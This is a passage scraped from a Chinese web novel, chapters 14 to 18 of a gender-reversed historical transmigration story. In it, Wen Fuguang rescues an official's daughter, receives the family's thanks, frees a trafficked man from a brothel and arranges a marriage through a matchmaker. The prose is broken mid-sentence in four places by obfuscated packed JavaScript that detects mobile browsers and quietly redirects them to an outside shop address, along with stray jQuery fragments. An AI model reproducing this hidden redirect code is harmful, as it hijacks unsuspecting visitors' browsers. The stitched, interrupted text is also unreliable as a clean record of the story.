一个身影靠过来,她身上轻轻落下了一件披风。闻赋光这才发现,这件披风看似轻薄,实则保暖效果挺好。甜暖的香气裹着她,熏得她白日的酒意似乎有些上涌。 姜栀棠立在她对面,弯腰动手将领口的绳子系好,并贴心地绕开了伤口。动作间,手指不小心碰到了她的下巴。 闻赋光被痒得有点受不了,下意识地在他手背上蹭了蹭。 ......意识到自己做了什么,闻赋光呆滞了。 要怎么样才能用最快的速度钻个洞躲到地底去? 姜栀棠也没好到哪去,缓缓抽回了微微颤抖的手。两人火速分开,谁也没敢看对方,眼神闪躲,仿佛一瞬间都对雅间内的陈设产生了极为浓厚的兴趣。 闻赋光背对着他,几乎是扒着一人高的青花瓷瓶在仔细观摩,其严肃和认真,像是一个忙活了半辈子的匠人。 “这瓷瓶上的梅花,真,真蓝啊。” * 回闻府的路上,日头渐渐落下,橙黄的河在京城上空流淌,点点碎光在大道上跃动。 闻赋光靠坐在马车里,身上还披着披风,手边放着一盒香料。车上就她一个人,外头还有个车工。姜栀棠声称账目还没查完,先派自己的车马送她回闻府。 这如何使得,闻赋光想也不想就要拒绝。她巡逻这么久,贵人的车架也不少见。当朝郡君出门,恐怕要坐四匹马拉的超豪华彩舆。她如何能坐着它张扬地回闻府,这一路上必然要被无数人行注目礼,到时候马车一拐到了闻府门口,她姨母又要动脑筋了。 但姜栀棠好像提前知道她了的心思:“我平日出门不喜张扬,今日是坐油壁车出门的,不会引人注意。娘子今日落了水,回去的路上不要再受累了。” 这语言的艺术,如此贴心,闻赋光被说动了。早前她一直忙碌着不停下来倒还好,到锦绣坊这么一坐,疲惫就渐渐涌上来。她到底还是人而不是神仙,也会累的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757957|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 头一回见面时,她正是坐着他的马车进了城里,或许是因为那时出门在外,那辆车就很宽阔。而今日这辆的外表就有些平平无奇,钻进来一看,才发现里面别有洞天。坐榻上铺着厚厚的软垫,身后是厚锦缎的靠垫,脚底下还铺了柔软的氆氇。另外还有热腾腾的茶水和点心,实在是麻雀虽小,五脏俱全。 闻赋光惬意地伸了个懒腰,闭目养神。 人要想好好生活总要有个盼头,家产的事开了个头,顺利与否就全看媒公的专业能力了。她不再多虑,转而思索起了其他的事。 自穿越以来,她的生存危机始终没有消除,有一块大石头自始至终悬在她头上,不知道在什么时候,会以什么形式落下。按理说这种王朝大事,她不安也没有用,一位君王的上位需要天时、地利、人和,缺一不可,很多时候是命运使然。 但闻赋光还是想做些什么。 那日从石洞中凄惨地醒来,她心里始终憋着一口气,不管是出于个人情感还是立场,她都没办法放弃对姜栯这一派实施打击报复。 硬碰硬不行,闻赋光决定充分发挥主观能动性,先盯何长翊一段时间,看看有没有什么小辫子可以抓。 马车到了闻府角门外时天色已黑,附近没有其他人。闻赋光跳下马车,待门房开了门,往自己院子里去,将披风一脱,熏香放至桌上,便往姨母的院中去。 天色已晚,姨母今日若是没有外出的应酬,应该在书房里。 门外的侍从进去通报了,姨母果然在家,只是闻忠的身影依然没有出现在这里,不知是不是沉疴难愈。 “二娘,坐吧。”闻姨母知道她这么晚来书房定然是有事要说,又知道她这个侄女话不多,干脆省了寒暄,等她先开口。 闻赋光拉开椅子在闻姨母对面坐下,同样直入主题:“姨母,今日我在观河上救了个落水的孩童,待她上了岸,其姐告诉我她们是通政使徐帱之女。” “什么!”闻姨母听见“通政使徐帱”这五个字,神情认真了许多,连手上把玩着的核雕都放下了,抬起头有些急切地看着她:“说清楚些,什么时辰?” 闻赋光不卖关子,一五一十地说了出来:“姨母您是知道的,今日我是去赴五城兵马司指挥使陆大人那对双生孙儿的百日宴,宴席中途我喝到酒酣,就出了酒楼,打算沿着观河边走走。也是赶巧了,徐帱的幼女徐妙园恰好在那时掉进了河里。她的姐姐,即徐帱长女徐龄蕴在岸上非常着急,见我过去,便向我求助。情况紧急,我赶紧下水救了人,还好那孩子落水时间尚短,她除了受些惊吓,应当没什么大碍。” 闻姨母紧紧盯着她,闻言有些抑制不住的喜色:“你做得好!”思量后又道,“怎么在场的只有你们三个娘子?徐家那对姐妹身边没有仆从吗?” “没有。”闻赋光摇摇头,“我听徐龄蕴所言,她们两个是背着家人偷偷溜出门去的,当时正值午后,河边人少,没有其他人了。” 闻姨母点点头,闻赋光坐在对面看着她若有所思的神情,忽然意识到她犯了个错误:如同许多京城人一般,她也不应该会水。 15. 第 15 章 心念急转,闻赋光苦苦思索着对策,可她已经来不及为这事编个圆满的谎。这些年哪怕关系再不亲密,好歹她们还住在同一个府里,她若说是私底下学的,一定蒙混不过去,只好强行胡扯一番,但愿姨母不会深挖这样的细枝末节。 果然,闻姨母发问了:“你是如何救了那孩子?” 闻赋光作惭愧状:“侄女仗着学过些武艺,自恃比旁人能耐些,从一旁树上薅了几根枝条,绑在一起系在手上,想着一时半刻的应该断不了,拉着树枝就下了水。那孩子下河的时间不久,因而还飘在水面上,不曾完全沉下去,没有费太长时间就把人送上了岸。” 闻赋光说的都是真话,她确实是这么做的,只是她并没有全部都告诉闻姨母。可谓谎言的最高境界并不是把瞎话编得有多么天衣无缝,而是挑选部分事实,排列组合后呈现出来。 这话一出口,便看见闻姨母露出了不赞同的目光:“二娘,你胆子也太大了!即使你武艺不错,可凫水是凫水,这又有何干系?幸好你没事,不然我将来有什么面目去见你祖母和母亲?” 闻赋光讷讷认错,心里暗自松了口气,闻姨母其实也并不在乎她用了什么方法救人,对她来说“通政使”这三个字才是最有价值的,这一关总算是混了过去。 “你说岸上还有徐帱长女?她可曾说什么话?”果然,闻姨母很快揭过,转而问起了自己真正关心的问题。 “徐龄蕴说回去之后定会禀告母亲,择日携礼上闻府拜谢。” 闻姨母有些掩饰不住激动地点点头。想当年,与闻家祖上来往的也都是朝中勋爵与高官之家,只是最近的几十年已经没落,再没有祖上的荣光。如今,她正在盼望着闻家起复的希望。 闻赋光看着她的神情,决定还是不开口讨人嫌了。姨母现在犹如穷人乍富,幸福得有些晕乎,还是等她冷静下来自己复盘,再发觉其中关窍吧。 * 接近年底,各行各业都忙着出来冲业绩。闻赋光这两天骤然忙起来,好不容易休沐,一大清早被侍从拍醒时差点从床上跳起来。 这个侍从是院里管洒扫的,和她不熟,两人就没说过几句话,但做事还算稳重。此时面对闻赋光乱七八糟的举动,也只是小小后退了一步,低头道:“郎主身边的侍男方才来传话,说今日有贵客上门,要娘子准备起来了。” 闻家只有一位郎主,那就是姨母的夫郎,闻赋光称为姨父的,如今闻府打理家事的主夫宋氏。 上值上得精疲力尽后,珍贵的休沐日又轻易地化蝶飞走了,闻赋光绝望地起床,行尸走肉般完成了一系列洗漱工作,套了件崭新的衣袍,用过几口点心就往闻府的正院寸心堂飘去。 寸心堂是姨母和姨父的院子,今日会由姨父宋氏和她自己接待贵客,姨母不会出面。 说起今日有客来访,这事可是让闻姨母失望不已。 那日回了闻府,闻赋光向姨母禀告了救人的事。闻姨母先是一喜,赞闻赋光处事得当。过后又反应过来——她和闻赋光一样,对徐家和自家的差距有清晰的认知,知晓徐家必然不会因此事就与哪一方扯上了关系。同时,闻姨母又觉得能结个善缘也不错,闻家官小,徐帱可是三品大员,能有个机会交谈一番都是她们家赚了。 因此,闻姨母志得意满,原本是满心盼望徐家来人的,这样她好去套套近乎。 然而,她的算盘落空了。徐家是没两天就给闻家下了拜帖,可是拜帖上清楚地写着,徐家要来拜访的人不是徐帱,也不是任何一位女性长辈,而是徐家如今协助老郎主掌家的二房郎主韦氏。 这就把闻姨母纳闷坏了,闻家的娘子救了徐家的小娘子,徐家只派个爷们家家的来谢,还不是落水的那姑娘的亲爹,即徐帱的夫郎,还只是个姨父。这是要把这番交情硬是局限在后宅的意思啊!闻姨母相当不忿,一早就把接待的事交给了夫郎宋氏,自己干脆没在家。 闻赋光对此早有心理准备,也并不指望凭这一遭就能一飞冲天。收拾好休沐日被迫早起的忧郁的心情跨进了寸心堂。宋氏已经在正堂中了,他目不斜视,正坐得格外端庄。许是徐妙园身体还未恢复,这次她不会跟着来,因此与她年纪相仿的闻家四娘今日还是照常去上学,闻家两个郎君又都已嫁人了,只有闻赋光这个当事人跟着姨父一道接待。 宋氏是个柔弱贤惠得像个糯米团一样的传统男人,丝毫没有自己的主见,一向以妻为天,逆来顺受,妻主说往东他绝不往西,指哪打哪。妻主要他承担起接待徐家二房郎主的重任,他虽然从来没独立接待过这样的大人物,心里发怵,但还是硬着头皮接下了任务。此时看他四肢僵硬的样子,就知道这两天他有多紧张。 “姨父。”闻赋光行了个晚辈礼。 “二娘,你来了。”宋氏见她来,赶紧唤她,“你姨母嘱咐过姨父,今日接待客人要注重礼数,如今时辰差不多了,咱们去府门口迎接吧?” 虽然宋氏有些太过小心翼翼,但这一条倒是很合情理,并不出格。徐家的地位毕竟在那,闻家的郎主带着娘子在府门口迎接,并不为过,闻赋光应是。 宋氏其实并不擅长交际,他与闻赋光这一路出门,也没什么话,把气氛弄得有些尴尬。自打他嫁过来,头几年因为只有两个男儿,没能让妻主生个女儿来传宗接代,自觉对不起闻家,根本抬不起头做人。经历了数年越发煎熬,好容易才有了闻四娘子这一个宝贝疙瘩,那时候他也已经低头做人半辈子,腰再也直不起来了,便一直是这样谨小慎微的木讷性子。 两人一路无话,在门口站定,当约定的时间到来时,徐家的马车也停在了闻府门口。 轿帘缓缓掀开,轿子里不慌不忙地下来个约莫三十岁的男子,通身打扮极为低调。宋氏紧张地绞了绞帕子,要上前去迎,闻赋光看出点违和感,低声叫住他:“姨父!”并轻轻摇了摇头。 宋氏虽然自身不算很灵光,却也有个好处,他对自己没那么自信。若换了旁人,恐怕会不悦——毕竟闻赋光是小辈,他做什么要听她的?宋氏却不然,先止了步才疑惑地看过来。闻赋光用眼神示意他再等等。 果然,前头的男子下了车,又转身回去,朝着马车厢微微欠身道:“郎主。” 宋氏这才发觉那只是个仆从,袖中的手攥紧了帕子,羞惭之余暗道徐家到底是高门大户,连家仆都更气派从容。 一只素白的手伸了出来,接着是一身满绣的锦绣绫罗,有一名看不大出具体年龄的贵夫从车厢中低头出来,由身旁的侍男扶着下了马车。站定后,他掀起眼皮扫过闻府的牌匾、站在门口的宋氏与闻赋光并几名仆从,很快又移开,嘴角挂着一丝浅浅的弧度。 宋氏和闻赋光终于迎了上去,韦氏虽然神色倨傲,场面上的态度却尚可,口中倒还说了些花里胡哨的话。宋氏的性子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16776227|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不会顶撞人的,二人谈得还算和谐。两位社交主力走在前头寒暄,闻赋光见过礼后便跟在他们身后装乖,比起宋氏,还是她更不会与韦氏寒暄,说多错多,不如闭嘴。 闻赋光原本以为起码徐家会让徐龄蕴跟着一起出门,连她也没想到今日居然只来了一位韦氏。 这些日子闻姨母打听过了,按理说,徐家合该是由徐帱的夫郎张氏掌家。不过张氏似乎总是抱恙,因此徐府的中馈一直是由徐帱之父,徐家老郎主担着,另外由二房的郎主韦氏协助。 只有部分管家权的韦氏前来闻府,听起来似乎是有些不够重视,可实际也差不多了——在徐家一心要此事定义为后宅内务的情况下。毕竟徐老郎主是长辈,若亲自出门来到闻府,那未免有些太过大动干戈;稍往下两位娘子的父亲又抱恙出不得门,便也只有韦氏了。 徐龄蕴和徐妙园都没来,闻赋光默默琢磨着其中深意,恐怕徐家比她预料的更不愿与姜榓扯上什么关系。 韦氏与宋氏聊的不外乎是“贵府真会教养娘子徐家十分感激今日特意上门感激二娘子救命之恩”和“哪里哪里您大驾光临真是让闻家蓬荜生辉您家的孩子是天生带着福命有上天保佑呢”...... 二人把两府中的小辈们夸得天上有地下无,不扯到其他的任何事,闻赋光时不时配合地自谦几句。韦氏好歹是代表徐家来送谢礼而非找茬的,并不想故意为难宋氏,谈话还是继续推进了下去,已经聊到了管家和应酬往来的心得。 韦氏倒还罢了,他把话题锁定在后宅之事身上,其中用意已经很明显。可姨父今日的表现,确实是让她大开眼界,闻赋光总觉得他似乎是提前演练过,背了不少恭维和自谦的话,或许这就是不善交际之人面对挑战的日常吧。 想必姨父之后会一五一十地告诉姨母,闻赋光过滤了二人毫无营养的关于妻夫关系、衣裳首饰、孩子等的谈话,忍不住开始神游天外。 韦氏喝过几盏茶,或许是得了吩咐,他走得极干脆,命身旁随行的侍从们留下了一个木匣,只说是给闻赋光的一些心意,赶在午前就要告辞。宋氏精心准备推敲过的菜谱立刻没了用武之地,他或许也没想到徐家来的人连顿饭也不用就要走,并没有提前准备好留客的话术,两叔侄只能眼睁睁地送走了韦氏。 送走了客人,剩下严阵以待的侍从们也作鸟兽散,宋氏要回自己屋里,闻赋光毫不客气地带着匣子回了大房。 有了差事之后,闻赋光手头算是有了俸禄这一项进账,但她月月光,根本攒不下来钱——开玩笑!她可是把脑袋提在裤腰带上过日子,存什么钱?届时像她上辈子一样,当牛做马后自己死了,银行卡里那些纵使微薄但饱含血泪的存款还不知道便宜了谁。 回了屋子关上门,她打开匣子一看,银光四射。匣子里是码得整整齐齐的银锭,一个银锭是十两,闻赋光数了数,里头共有五百两。 这些银子够一个普通百姓家过上十年,不过对于徐家这样的三品之家来说就没那么贵重了,这点钱还不至于让她家伤筋动骨。闻赋光对此表示满意,若是金额太大,徐府里有大笔的资金调动,难保要被嘴不严的下人传出去,引起旁人的议论总不是什么好事。五百两这个数额就正正好,对她这个月光族来说很多,同时恐怕在徐家也算不上是有多么罕见的大笔开支。 这一晚,闻赋光抱着匣子睡去,美得不知天地为何物。 17. 第 17 章 夜深了,闻赋光提着一个大活人灵巧地穿梭在房顶的瓦片上,没被任何人发现。 这当然不是因为幸运,好歹她还在五城兵马司当了这么久的差,对夜晚的换班换防和巡逻路线比较为清楚,多少能避开些。那男子知道自己能逃出何长翊手里,很识相地没有破坏她的行动。她在京城中没有其它的藏身之地,今日又太晚了,实在没办法,只好一路扛着把他带回了闻府。 闻赋光的卧房内。 两人大眼瞪小眼,闻赋光负重跋涉回来,瘫在椅子上看着地上的男子,嘶嘶地甩着手臂,没好气90地问:“说吧,怎么回事?” 他竟然能精准地点出曾经见过她的时间地点,闻赋光震惊之余,也产生了些惊惧和杀意。在几息之内迅速斟酌后,又觉得他笃定的样子不像是撒谎,因此,她还是想要弄明白自己究竟是哪里露出了马脚,以至于一个和她可以说是没怎么打过交道的人都能把她认出来。 其实也不怪她翻车,她甚至连话都不曾和他说过一句,谁能想到他会记住她?况且就算是实在走投无路了随便蒙一个人,也不会蒙到她一个连话都没直接与他说过的人身上。因此,闻赋光听了这话就果断带着他跑路了,非得问清楚再做打算。 要是敢耍滑头,她也不介意……哈哈。 他依然被绑着,从雁荡楼回到闻府的这一路颠簸晃得他头昏脑胀,闻赋光松了手,把他扔在地上就不管了,任凭他以符合牛顿第二定律的动势摔在地毯上滚了一圈半。闻言他苍白着脸,缓了缓才答道:“前几日你才去过医馆,我记住了你的声音。” 这是什么话?去过医馆的人他都要记住声音吗?闻赋光皱着眉不解道:“你记别人的声音做什么?你家不是开医馆的吗?药材和药方还不够你记?” “……不是,”他低着头颓丧道,“我自幼随我母亲四处游历行医,一次遇到一个病重的老道士,我母亲不辞辛苦,不收她诊费药费,几副药下去让她得以好转。作为感谢,她将自己摸索出来的易容术传授给了我们,老道士告诉我们,除了面容需得用特殊手法掩饰,最好连声音都要模仿得一模一样,从此我便会多注意旁人的长相和声音,时间久了就成了习惯。” 闻赋光托着下巴盯着他,一下想起了网文里那些奇毒、奇药、奇蛊,还有神奇得像魔法的易容术。他说的难道是能把一个老妇变成青年美男的易容术吗?试问,有多少作者的重要剧情都是靠这些玄之又玄的小玩意达成的?掌握了这种秘术岂不是无法无天! 是她对世界观的判断有误吗?其实这个世界并非没有魔法,只是恰好她自己是个麻瓜? “怎么施展?能把我变成你吗?” “恐怕不行。”他费力地摇了摇头,“这种易容术,要找本身就身形、容貌相近的人才可施展。也不能让个高的人变矮,只是通过修饰让本来就有些像的人更像,若非如此,凑近了看很容易会被发现。” 听了这话,她心里有了判断,那或许就跟现代的高超化妆技术差不多,没有改头换面那么神,但特定条件下在古代或许也很有用。 闻赋光起身,把他拎到了椅子上坐正,“既然如此,说说吧,你为什么想要我杀了何长翊和苏阚?”顿了顿,才发现自己还不知道他的姓名,又道:“你叫什么?” “我叫沈无虞。”他不复在雁荡楼里时的愤恨,神情有些黯淡,艰涩开口,“是我娘,我娘被她们的人害死了。” 听了这话,闻赋光神色一凛,皱着眉听他继续说:“我娘行医有个规矩:凡是家中贫苦来瞧病的,一律不收诊费,只收药费。” “一定会有不少人去钻空子。”闻赋光点评道。 “没错,医馆刚开张时是这样。我们在外时虽然有一些积蓄,但用来盘了个医馆后就所剩无几了,我娘的出诊费也并不高,行医不过是糊个口。若人人都这样,我们很难支撑。”沈无虞自嘲地一笑,眼底毫无笑意,是深切的哀恸,“不过后来就渐渐少了,我们在京城待的年数多了,什么样的人是吃过苦的,什么样的人过得好,我娘心里有数。 前些日子又有这样的事:一个中年男子来看病,说自己是苦出身,要我们免了诊费。我看得分明,他身上带着补丁,穿着打扮确实看似一般;可脸上白净,手也细皮嫩肉,皮肤光洁,连个茧子都没有。不仅没吃过什么苦,看着反而比普通百姓过得还好,是不事生产之人。这样的事情从前也不是没有过,被我们看出端倪,有些人就讪讪地把诊费付了,或者直接转身离开,我们就也不再追究。 可是这次这个人出乎意料地蛮横霸道,他不肯承认自己装成穷人,反而在医馆闹事,说我母亲是当面一套背后一套,说着什么关照穷苦百姓,实际是见钱才眼开。我母亲在京中数年,也积攒了些口碑,医馆里当场就有知情人,其中不乏正义之士,众人三言两语把他挤兑得有些没面子,他说要让我们不好过,就气冲冲地走了。” “那你们也不曾做些什么防备?”闻赋光搭在扶手外的手臂垂着,虚虚握拳。 “因为有时不收诊费的事,我们并不是第一次遭人威胁了。”沈无虞苦笑,“我们不能每次都惶惶不安,把医馆关了逃跑,就算我胆小,我娘也不肯的。况且有些人只是当场面上有些过不去,事后一想,觉得自己确实不占理,大多不会来找我们的麻烦,因此,我们一开始并没有在意他。 可是前几天,突然有一伙人披麻戴孝地打上了门,说要为被庸医治死的家人讨个说法。接着就有领头的一人说她家老母原本只是有些风寒,找我娘开了服药,待喝了药好好的人就没了。我娘说不曾为这么一个老人开过方,要追问更多细节,可他们也不说。既然如此,我娘自然不认,便说要报官,那伙人不肯,把她堵在医馆里要她赔钱。事情没弄清楚,她当然不赔,况且他们张口便索要五十两白银,我家并没有这些银两可以赔,双方一时僵持住了。 那群人弄出的阵仗太大,店里原本有几个病人都吓跑了。我家小妹近日换牙,有些发热,我在家中照顾她,没有去医馆。当时只有我娘一个人在医馆里,他们堵着人不让走,推搡之间,她撞上了身后柜角,当场就倒地生死不知了,那群人见事情闹大了,拿出了一份文书,拉着她的手指捣鼓了一番,就把她一个人留在了那里...... 你知道吗?若是能及时得到救治,我娘不一定会出事的......” 话到此处,他直挺挺地坐着,目光直直看向前方,看的并不是这房中的任何一人或物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16814452|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。闻赋光注意到他的指尖颤抖着,她没法轻飘飘地劝失去母亲的人“节哀顺变”,伸手拿过后头桌上的剪子,咔咔把绑在他身上绳子剪了,沈无虞没有动弹。 “那时医馆里没人?你怎么知道这些的?”闻赋光又坐回去,想到她与医师打过的两回照面,那确实是个十分耐心温和的好人,不应该得到这样的下场。 “有个童子悄悄趴在墙头偷看那伙人,见他们闯了祸,那童子心里害怕,但还是跑去了我家里唤我,待我赶过去时,我娘......已经走了。她走得很快,没有受什么苦,我应该庆幸。”沈无虞勉强扯出一个比哭还难看的笑,“她走了以后,我去报了官,可是一直到这两天我被抓走都没有回音。我用家里仅剩的钱办了我娘的丧事,之后,就有一群人找上门来,说我家欠了人钱,他们是来□□的。” “这笔债不会是......?”闻赋光没有说完,沈无虞落下了两行冰冷的泪,几度哽咽:“正如你说的那样,是那伙人趁我娘倒在地上,拿出早就准备好的欠条,用她的手按了手印,做出的假账。” 这逻辑简直错漏百出,闻赋光无法理解:“这也能作数?按我朝律例,欠条上还应当有中人签字或按手印,否则只要你们陈情,官府定然不会判定这张欠条是有效的。” “是啊,这张欠条根本不能说明什么。所以,他们很快就把我和小妹分别带走了。这样一来,我家家破人亡,谁还会费那么大的力气为我娘正名?” “那这一切与何长翊和苏阚有什么关系?” “那伙来医馆闹事,害死我娘的人,和后来上门来讨债,把我们兄妹两人抓走的都是何长翊的人,是她手底下的打手!我进了雁荡楼,逃不出去的,他们不怕我知道,谈话并不避着我。若非他们七嘴八舌,我还不知道,那天那个前来占我们便宜的男子,原来是何家后院里一个小侍的亲戚。至于我,呵,不过是何长翊搜罗去用来和苏阚拉近关系的礼物。” 沈无虞靠在椅背上,“早知会如此,我们就该认了这个亏的......我娘除了看诊开药方,平日里还要亲自出门采药,晒药,即使有我帮忙,有些活却也只能她自己完成,我只是不想她被人利用。有的人明明已经吃得满嘴流油了,我娘只有一些清汤寡水分给旁人,他们也见不得......”他的声音渐渐随着头颅一同低下去,闻赋光看着他的发旋,莫名涌上一股巨大的疲惫。 不要被这种感觉打败,做些什么吧,她对自己说。 “我帮了你,我们的交易已经开始了。” 对面之人冷不丁地说了这么一句话,沈无虞缓缓抬起头,看着那个今晚从不知道哪里突然出现,将自己救出水火的少年人。 她带着捉摸不透的神情,勾了勾嘴角,眼中却毫无笑意:“我把你救了出来,你已经逃离了那个地方,我对你有恩,从此你要为我所用。” 沈无虞没有任何犹豫就点头同意了。他还以为自己从此要坠入深渊,谁知道凭空冒出来一个她。他慌不择路,几乎是不择手段地暗中威胁了她,只求她有法子带自己逃离,他知道自己是很卑劣的。但那个人,那个人竟然还是答应了他的交易。 他从椅子上起身跪下,膝行几步,拜伏在她脚边。 18. 第 18 章 把沈无虞留在屋内,嘱咐过院中洒扫的仆从不要进屋后,闻赋光一大早就出了门,打算去租屋。她昨夜把他悄悄偷了出来,何长翊和苏阚估计纳闷一晚上了,她行事还算谨慎,速度也够快,虽然这事不至于查到她头上,但还是小心为妙,明面上他们二人没有任何联系是最好的。 在现代她四处打工,与出租屋没少打交道,经年跟中介斗智斗勇下来算是颇有心得了。租房嘛,从古至今不就那点事,到了古代也是换汤不换药。况且这会的民房多是用木头和泥土造的,不会有化学成分污染,她又刚发了笔横财,手头宽裕,挑起房屋来顾虑并不算太多。 至于租房的渠道,有不少在京中无房,家底也不够厚的小官之家会选择租官屋。官屋属于官府所有,有时候有多余的屋子也会租给平民百姓。闻赋光现在大小也是个官身,是有资格租赁官屋的,可她不能这么干。简而言之,租赁官屋是要走流程的,什么文书手续都清清楚楚,明明白白,而她要藏的这个人,咳,说起来沈无虞现在算是逃伎,身份相当见不得光。因此,闻赋光打算找古代的房屋中介——牙人,私底下租个小院子把人给一藏。 没想到她刚出坊门,就看见一个有些眼熟的中年男子的身影正立在显眼处,似乎在等待着什么。 周媒公一早就在城西闻府所在的双丰坊外等着,那是闻赋光与他约定好的接头地点,也是闻赋光出门的必经之路。此事先不宜让姨母知道,因此闻赋光和媒公已经说好了,若是有了消息就在这个地方等候,闻赋光只要出门就必然能碰见。她也没想到,媒公那里这么快就有了消息。 果然,媒公叫住她,说明了来意:“恭喜娘子,阿叔我亲自出马,这人呐已经给娘子寻着了!” 这会还是大清早,附近没什么人,两人寻了个僻静的角落细说。 “这么快就找到了,当初我也是听人说起,说阿叔你在这一行那是顶顶大名,这才特此上门去寻你帮忙,我就知道找你准备没错!”她一番战术性吹捧,周媒公得意得眼角纹路都出来了,相当受用,念及闻赋光许诺他的好处,手里拿了块帕子,捂着嘴笑,脸上扑簌簌地掉粉。 闻赋光话锋一转又道:“阿叔与我细说说,这位小郎他人如何?” “这个小郎他家原是南边来的,当年他母亲进京后,一家人在京中住了十来年,后来他母亲过世了,就留下两个男儿。这家也没有其他长辈,家里大大小小的事都是这个小郎操持,靠着一手绣花的功夫还把弟弟拉扯大了,相当能干!” 干这一行的嘴皮子都很溜,媒公眉飞色舞地跟她介绍,又列数了将这小郎嫁予她后的种种好处,把个男郎夸得天上地下的,可谓是舌灿莲花。 她没被这一幅好口才迷昏头,为了防止货不对板,闻赋光欲问个明白,以免将来有什么纰漏:“不知道他母亲是因为什么缘故才不在了?” “这小郎的母亲当年在老家时,也是有几亩薄田的,算是耕读之家。她中举之后卖了田地,带着两个男儿到了京城,打算一心攻读功名。谁料还没等中榜就遭了难,生了场急病,留下两个小郎就去了。这两个小郎就靠她留下的一点点薄资过日子,阿叔我也提前告诉娘子一声,娘子别介意——恐怕这个小郎家里出不起什么嫁妆的。” 闻赋光点点头,浑不在意:“我知道,我只要他身家清白即可。他有一个举人母亲,那想必也是明事理的了?” “好着呢!这小郎君能识文断字的,又会打理家事,我还趁他出门悄悄看过,人也标致,娘子只管放心的!”媒公呵呵笑着,满口保证他人不错。 “那他多大了?” “虽说年龄是大了些,正是二十有一。也是因为前些年他娘走了,他要守孝,这是人之常情,也说明他是个孝男!娘子你是做官的,应该比我老头子懂得多。那之后也没个人给他张罗,这才拖到今天。他那弟弟已经大了,如今仿佛有十三四岁,不要人照顾,还能帮着家里做些事,等再过几年将他找个人嫁了,便没什么的。” 闻赋光大致想了想,这条件与她所说的八九不离十了,除了有个弟弟以外确实没什么亲戚,人只要不是太蠢,应该不会有什么麻烦。 不过这情况怎么听着这么熟悉?她试探性地问道:“阿叔,你说的这位小郎姓什么?” 未婚男子的名字,作为一个陌生女子她不好随意打听,但姓氏还是能问的。毕竟这里是封建社会,人家要结亲都讲究个好兆头,若是姓氏有冲突,是祖上曾经结下过大仇的两家人,有时候还真的会影响一桩婚事。 媒公并未在意她多问一嘴,按照行规,事情还没说定,他不好透露太多,但姓氏并非禁忌,便爽快地告诉了她:“是姓肖的人家。娘子在这点了头,回头我就去说去,保管他能答应!” 闻赋光若有所思,心中的猜测又被证实了几分,想起记忆中那人的形貌,还算尚可,应该是个合适的人选,并未纠结便同意了。若换做旁人,她还得想办法见上一面,总归那人选面上得有些样子,到时候不管她编什么理由去姨母面前说,也有底气,要是不成样子的,还得推拒一番重新找。不过既然是那个人,正好她和他们两兄弟打过照面,看着还行,糊弄糊弄姨母当个工具人已经足够了。 虽然对肖从晗并没有什么情意,但她身心健康,且并无不良嗜好,将来分出去单过后,那小日子想想都很安逸。有她在一天,这两兄弟大可以过上安稳的生活,这是一桩对双方都有利的婚事,她想不出要拒绝的理由。 媒公今日过来就是告诉闻赋光一声,再要一份她的八字,拿去与肖小郎的八字一合,若是结果好,这事也就算是成了。闻赋光头一次去找了媒公之后,就刻意寻了自己的生辰八字出来,这回直接口头告诉了他。 这自然是原身的生辰八字,现代人不讲究这个,况且她自己出生时并不受人期待,没人会刻意记下并告诉她,直到现在,她也并不清楚自己的生辰八字。芯子都换了,闻赋光暗忖也不知道这对她是否适用呢。 这件人生大事算是有了些眉目,闻赋光并未忘记自己今日早早出门的目的,眼看媒公就要告辞,她突然想起找牙人的事——解法可不就在眼前吗。 他们这些人做的无非都是替人牵线的行当,互相之间总会流通消息的,找媒公打听,只要他还想做她这笔生意,总是比街上随便寻一个牙人来得靠谱的。 “对了,阿叔,有个事我还得跟你打听打听,你可认识靠谱的牙人?”媒公露出了疑惑的神色:“娘子要问这个做什么?”闻赋光随口胡诌道:“我有个远亲近日刚来京城,还没有合适的住处,因此想租个合适的房子。” 媒公想了想,也没多问。做他们这一行的,最重要的就是眼明心亮,多做少说,既然客人不想多说,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836022|189190||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 